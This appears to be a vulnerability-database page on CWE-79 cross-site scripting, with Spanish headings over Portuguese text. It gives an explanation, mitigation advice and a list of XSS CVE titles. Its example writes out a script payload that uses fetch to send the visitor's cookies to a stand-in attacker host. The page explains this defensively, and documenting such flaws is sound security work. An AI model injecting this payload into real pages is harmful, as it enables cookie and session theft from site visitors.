Fallos del tipo CWE-79

30.519 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-10727MEDIUMReflected XSS in ArkSigner's AcBakImzalaEPSS 0.2%CVE-2024-36064MEDIUMThe NLL com.nll.cb (aka ACR Phone) application through 0.330-playStore-NoAccessibility-arm8 for Android allows any installed application (wiEPSS 0.2%CVE-2025-68658MEDIUMOpen Source Point of Sale (opensourcepos) Stored XSS in Configuration (Information) – Company Name fieldEPSS 0.2%CVE-2026-34161MEDIUMChamilo LMS: Stored XSS via Malicious File Upload in Social Post Attachments Leads to Arbitrary JavaScript ExecutionEPSS 0.2%CVE-2026-92551MEDIUMPaid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content <= 4.17.4 - Reflected Cross-Site Scripting via ppress_billing_address Filename ParameterEPSS 0.2%CVE-2025-32300HIGHWordPress DZS Video Gallery plugin <= 12.25 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-67930HIGHWordPress eHive Search plugin <= 2.5.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-12109MEDIUMHeader Footer Script Adder – Insert Code in Header, Body & Footer <= 2.0.5 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-84096HIGHWP Review Slider Pro < 12.7.12 - Subscriber+ Stored XSS via Review Form FieldsEPSS 0.2%CVE-2025-69048HIGHWordPress Universal Video Player plugin <= 3.8.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-6365MEDIUMDrupal core - Critical - Cross-site scripting - SA-CORE-2026-001EPSS 0.2%CVE-2026-6696MEDIUMZingaya Click-to-Call <= 1.0 - Reflected Cross-Site Scripting via 'email' ParameterEPSS 0.2%CVE-2025-69084HIGHWordPress Photo Gallery plugin <= 2.7.7.26 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-27504MEDIUMSVXportal <= 2.5 radiomobile_front.php stationid Reflected XSSEPSS 0.2%CVE-2025-69085HIGHWordPress JobBank plugin <= 1.2.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-69056HIGHWordPress Hotel Listing plugin <= 1.4.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-67922HIGHWordPress Grand Restaurant theme < 7.0.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-120488MEDIUMLaraDashboard before 1.4.9 Stored XSS via LaraBuilder design_json Block ContentEPSS 0.2%CVE-2026-21904MEDIUMJunos Space: ilpFilter field on nLegacy.jsp is vulnerable to reflected cross-site script injectionEPSS 0.2%CVE-2025-31101MEDIUMWordPress VaultRE Contact Form 7 plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%